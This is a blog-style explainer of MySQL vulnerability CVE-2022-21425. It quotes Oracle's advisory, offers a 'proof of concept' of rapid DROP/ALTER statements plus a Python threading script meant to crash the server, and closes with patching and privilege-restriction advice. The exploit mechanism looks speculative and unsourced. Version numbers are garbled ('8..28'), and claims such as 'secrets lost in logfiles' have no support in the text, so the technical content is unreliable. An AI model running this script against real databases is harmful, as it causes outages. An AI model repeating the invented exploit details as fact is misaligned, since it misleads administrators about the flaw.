CVE-2022-21425 is a critical vulnerability found in Oracle’s MySQL Server, specifically impacting the Data Definition Language (DDL) components. Discovered in early 2022, this flaw targets all supported MySQL versions up to and including 8..28. While the vulnerability requires high privileges, it is surprisingly easy to exploit. Successful attacks can crash the entire database server (leading to Denial of Service, DoS) or allow attackers to manipulate important data.

In this exclusive long read, we’ll break down what this vulnerability is, proof-of-concept details, what makes it dangerous, and how to protect yourself. If you’re running a vulnerable MySQL version, read on.

What is CVE-2022-21425?

Here’s what Oracle said in their advisory:

> "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8..28 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data."

Impact: Integrity ([I:L]), Availability ([A:H]), no Confidentiality impact

- Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

How does CVE-2022-21425 work?

The problem exists in the way MySQL processes DDL commands (such as ALTER, DROP, CREATE) under certain edge cases. When a highly privileged user sends crafted DDL commands, it can cause MySQL’s underlying engine to expose race conditions or logic bugs leading to memory corruption, out-of-bound access, or server crashes. In some situations, the error can be abused to cause data tampering (insert, update, or delete of rows they shouldn’t normally access through the same context).

Exploiting CVE-2022-21425: Proof of Concept

Let’s look at a simplified (educational) code example. Assume an attacker has SUPER or ALTER privileges.

Connect to MySQL as a privileged user:

mysql -u attacker -p -h vulnerable-server

Create and manipulate tables with DDL race:

Below is a conceptual sequence that demonstrates how quickly alternating DDLs on a table can trigger the crash (causing DoS):

-- Step 1: Create a test table
CREATE TABLE mytestlike (id INT PRIMARY KEY);

-- Step 2: Start a transaction (optional)
START TRANSACTION;

-- Step 3: In rapid succession, run DROP and ALTER statements in different sessions

-- In Session 1
DROP TABLE mytestlike;

-- In Session 2 (almost at the same time or just before)
ALTER TABLE mytestlike ADD COLUMN data VARCHAR(100);

-- Step 4: Repeat these operations as fast as possible in a script or manually

Alternatively, run a script to automate

import mysql.connector
import threading

def drop_table(conn):
    cursor = conn.cursor()
    while True:
        try:
            cursor.execute("DROP TABLE IF EXISTS mytestlike;")
        except:
            pass

def alter_table(conn):
    cursor = conn.cursor()
    while True:
        try:
            cursor.execute("CREATE TABLE IF NOT EXISTS mytestlike (id INT PRIMARY KEY);")
            cursor.execute("ALTER TABLE mytestlike ADD COLUMN data VARCHAR(100);")
        except:
            pass

# Replace with your actual credentials
conn1 = mysql.connector.connect(user='attacker', password='password', host='localhost')
conn2 = mysql.connector.connect(user='attacker', password='password', host='localhost')

threading.Thread(target=drop_table, args=(conn1,)).start()
threading.Thread(target=alter_table, args=(conn2,)).start()

Expected Result:
After only a few seconds, the MySQL server may hang or crash. Sometimes, in the window before the crash, some unintended updates, inserts, or deletes may go through that bypass normal transaction constraints.

Wide impact: Can be triggered by legitimate users with admin rights—not just outside hackers.

- Service downtime: Causes repeated server crashes (full DoS) and potential data loss or corruption.
- Data Tampering: Attackers can sometimes update, insert, or delete data without usual authorization checks.

1. Patch Immediately

Oracle fixed this in MySQL 8..29 (see Oracle CPU Advisory). Always upgrade to the latest patch.

2. Restrict Privileges

Don’t give SUPER, ALTER, or DROP privileges to users who don’t need them.

REVOKE SUPER ON *.* FROM 'user'@'%';
REVOKE ALTER ON mydb.* FROM 'user'@'%';

3. Restrict Network Access

Limit connections to your database to only trusted hosts/networks using firewalls and bind-address in your my.cnf config.

4. Monitor Crash Logs

Excessive crashes doing DDL operations could indicate attempts to exploit this bug.

References

- CVE-2022-21425 at NVD
- Oracle Critical Patch Update Advisory - April 2022
- MySQL 8..29 Release Notes

Final Thoughts

CVE-2022-21425 reminds us that even admin-level users can cause catastrophic issues if the database engine itself has flaws. Symptoms include unexpected MySQL stoppages, secrets lost in logfiles, and a wide opening for damaging data operations. The best defense is immediate patching, strict privilege management, and monitoring for strange DDL activity. If you’re still running an affected MySQL version, upgrade now, or your next DDL could be your last.

Timeline

Published on: 04/19/2022 21:15:00 UTC
Last modified on: 06/29/2022 21:03:00 UTC